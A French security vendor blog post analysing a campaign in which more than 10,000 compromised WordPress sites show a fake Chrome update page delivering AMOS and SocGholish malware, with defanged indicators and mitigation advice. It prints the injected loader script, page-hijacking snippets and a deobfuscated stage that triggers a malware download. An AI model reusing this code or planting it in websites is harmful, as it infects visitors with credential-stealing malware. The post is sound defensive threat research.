Skip to main content
Blog
Blog Attacks

Plus de 10 000 sites WordPress identifiés comme vecteurs de malwares macOS et Windows

Nous avons identifié plus de 10 000 sites WordPress affichant une fausse page de mise à jour du navigateur Google menant au téléchargement de malwares.

Jan 27, 2025 6 min read
10000-wordpress-image-cover

Cette semaine, nous avons identifié plus de 10 000 sites WordPress affichant de fausses pages de mise à jour du navigateur Google dans le navigateur des visiteurs via une iframe.

La page distribue des malwares multiplateformes : AMOS (Atomic macOS Stealer), qui cible les utilisateurs Apple, et SocGholish, qui cible les utilisateurs Windows.

Il s'agit de malwares populaires disponibles dans le commerce, qui circulent depuis un certain temps. Il était généralement admis que les deux variantes étaient distribuées par des groupes d'attaquants distincts — une hypothèse que cette découverte remet en question.

À notre connaissance, c'est également la première fois qu'ils sont distribués via une attaque côté client. Du JavaScript chargé dans le navigateur de l'utilisateur génère la fausse page dans une iframe. Les attaquants exploitent des versions obsolètes de WordPress et de ses plugins afin de compliquer la détection sur les sites ne disposant pas d'un outil de surveillance côté client.

Les attaquants ont vraisemblablement exploité une vulnérabilité dans un plugin WordPress pour injecter le JavaScript malveillant. Ce fichier n'est actuellement signalé par aucun fournisseur de flux de menaces, et le domaine non plus.

Voici deux des domaines les plus répandus identifiés sur des milliers de sites :

Détails techniques

Grâce à notre moteur de détection, nous avons repéré un premier fichier JS tiers suspect à l'URL suivante :

https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js

Notre plateforme a signalé ce fichier comme un script malveillant avec un haut niveau de confiance, en raison de son caractère fortement obfusqué, qui exploite plusieurs niveaux d'encodage. Cette détection a déclenché une analyse approfondie, nous permettant de découvrir un réseau de plus de 10 000 sites WordPress infectés.

Un exemple de site compromis est disponible dans notre répertoire de domaines.

Blackshelter[.]org redirige l'utilisateur vers fastcloudcdn[.]com (lien vers notre répertoire), qui héberge le JavaScript malveillant.

Nous avons ensuite identifié plusieurs scripts malveillants hébergés sur différents domaines.

<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://blacksaltys[.]com/2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0" id="ms_main_script-js" defer></script>
<script type="rocketlazyloadscript" data-rocket-type="text/javascript" src="https://objmapper[.]com/CtmE0s2ZteC8BuQLNprxjCPB8gAgAcIi7niu-9oX3Q2e" id="ucf_main_script-js" defer></script>

Plusieurs sites contiennent des éléments <link> conçus pour effectuer une prérésolution DNS vers des domaines malveillants, améliorant vraisemblablement les performances de leurs opérations :

<link rel='dns-prefetch' href='//rednosehorse[.]com' />
<link rel='dns-prefetch' href='//blacksaltys[.]com' />
<link rel='dns-prefetch' href='//objmapper[.]com' />
<link rel='dns-prefetch' href='//blackshelter[.]org' />

Une fonction anonyme auto-invoquée charge dynamiquement un fichier JavaScript externe :

;(function(o, q, f, e, w, j) {
    w = q.createElement(f);
    j = q.getElementsByTagName(f)[0];
    w.async = 1;
    w.src = e;
    j.parentNode.insertBefore(w, j);
})(window, document, 'script', `https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de.js?qbsfsc=${Math.floor(Date.now() / 1000)}`);

Le script externe est chargé et exécuté dynamiquement, avec un paramètre de requête (qbsfsc) contenant un horodatage Unix afin de contourner les mécanismes de mise en cache.

Comportement malveillant observé

Le script obfusqué exécute plusieurs actions.

Il commence par arrêter toute activité en cours dans le navigateur.

window.stop();

Il supprime des attributs tels que class, style, id, etc., des éléments HTML clés.

for (let at of [["class", "style", "lang", "id", "dir"]]) {
    el.removeAttribute(at);}

Ensuite, il injecte dynamiquement l'iframe dans la page, affichant la fausse page de mise à jour de Chrome.

let frame = document.createElement("iframe");
frame.srcdoc = rsd;
document.body.appendChild(frame);

Analyse et conclusions

Notre analyse a révélé que les sites compromis utilisaient des versions obsolètes de WordPress (6.7.1) et de ses plugins, que les attaquants ont pu exploiter pour injecter du code malveillant.

Nous avons identifié 27 domaines malveillants liés à cette activité.

Quelques exemples :

  • blacksaltys[.]com
  • objmapper[.]com
  • rednosehorse[.]com
  • Blackshelter[.]org

Le script malveillant à l'adresse https://deski.fastcloudcdn[.]com/m_c_b28cd5c86f08a2b35c766fc4390924de[.]js affichait un taux de détection de 17/96 dans le rapport VirusTotal.

Au cours de notre analyse, nous avons découvert que cette campagne ne cible pas uniquement les plateformes Windows, mais distribue également des malwares pour macOS. Nous avons réussi à télécharger un fichier dmg associé au malware macOS.

Décryptage des malwares macOS et Windows

Le fichier malveillant (274efb6bb2f95deb7c7f8192919bf690d69c3f3a441c81fe2a24284d5f274973) était, au moment de l'analyse, signalé par 6 éditeurs d'antivirus.

Le code suivant a été mis au jour après plusieurs couches de désobfuscation. Il crée et télécharge dynamiquement le fichier du malware macOS AMOS (Atomic Mac OS Stealer).

<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
</head>
<body>
    <script>
        (async () => {
            try {
                var btn = document.createElement("a");
                btn.href = `hxxps://extendedstaybrunswick[.]com/wp-content/plugins/reset-wp/resty.php?eg=${Math.floor(Date.now() / 1000)}`;
                btn.download = "C_6.12.4.dmg";
                document.body.appendChild(btn);

                parent.postMessage("loaded", "*");
                window.addEventListener("message", function (event) {
                    if (event.data == "download") {
                        setTimeout(function () {
                            btn.click();
                        }, 100);
                    }
                });
            } catch (e) { }
        })()
    </script>
</body>
</html>

Le script génère dynamiquement un bouton de téléchargement pointant vers la charge utile du malware macOS. Il écoute un événement "message" avec la valeur "download", qui déclenche le téléchargement du fichier.

Voici deux sources pour en savoir plus sur le malware AMOS.

Et une source pour en savoir plus sur le malware Windows SocGholish.

AMOS et SocGholish sont tous deux des malwares disponibles dans le commerce et peuvent être achetés sur Telegram.

Atténuation et protection

Dans un premier temps, mettez à jour votre installation WordPress. Mettez à jour vos plugins, évaluez leur utilité et supprimez ceux qui ne sont pas utilisés. Recherchez les scripts malveillants et, si vous les trouvez, supprimez-les. Les attaquants laissent la plupart du temps une porte dérobée. Trouvez-la et supprimez-la.

Si vous découvrez ces scripts sur votre site, nous recommandons vivement d'examiner les journaux des 90 derniers jours afin d'identifier tout indicateur de compromission ou toute activité malveillante.

Si vous avez téléchargé des fichiers depuis les sites affectés, un nettoyage complet du système est recommandé pour limiter le risque d'infection par un malware.

cside est capable de détecter, d'alerter et de bloquer les attaques côté client de ce type grâce à son moteur de détection avancé et à son proxy. Cette attaque aurait été détectée et bloquée avec cside installé, protégeant ainsi les utilisateurs contre le téléchargement involontaire de malwares.

Cette attaque souligne l'importance de sécuriser la chaîne d'approvisionnement web et de maintenir les logiciels à jour. Sur la base de notre analyse, nous formulons les recommandations suivantes :

Vous pouvez commencer gratuitement ou nous contacter.

Liste complète des sites infectés

Retrouvez des liens sécurisés vers les pages PublicWWW des domaines infectés :

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Surveillez et sécurisez vos scripts tiers

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Commencez gratuitement, ou essayez Business avec un essai de 14 jours.

cside Interface du tableau de bord affichant la surveillance des scripts et les analyses de sécurité
Related Articles
Réserver une démonstration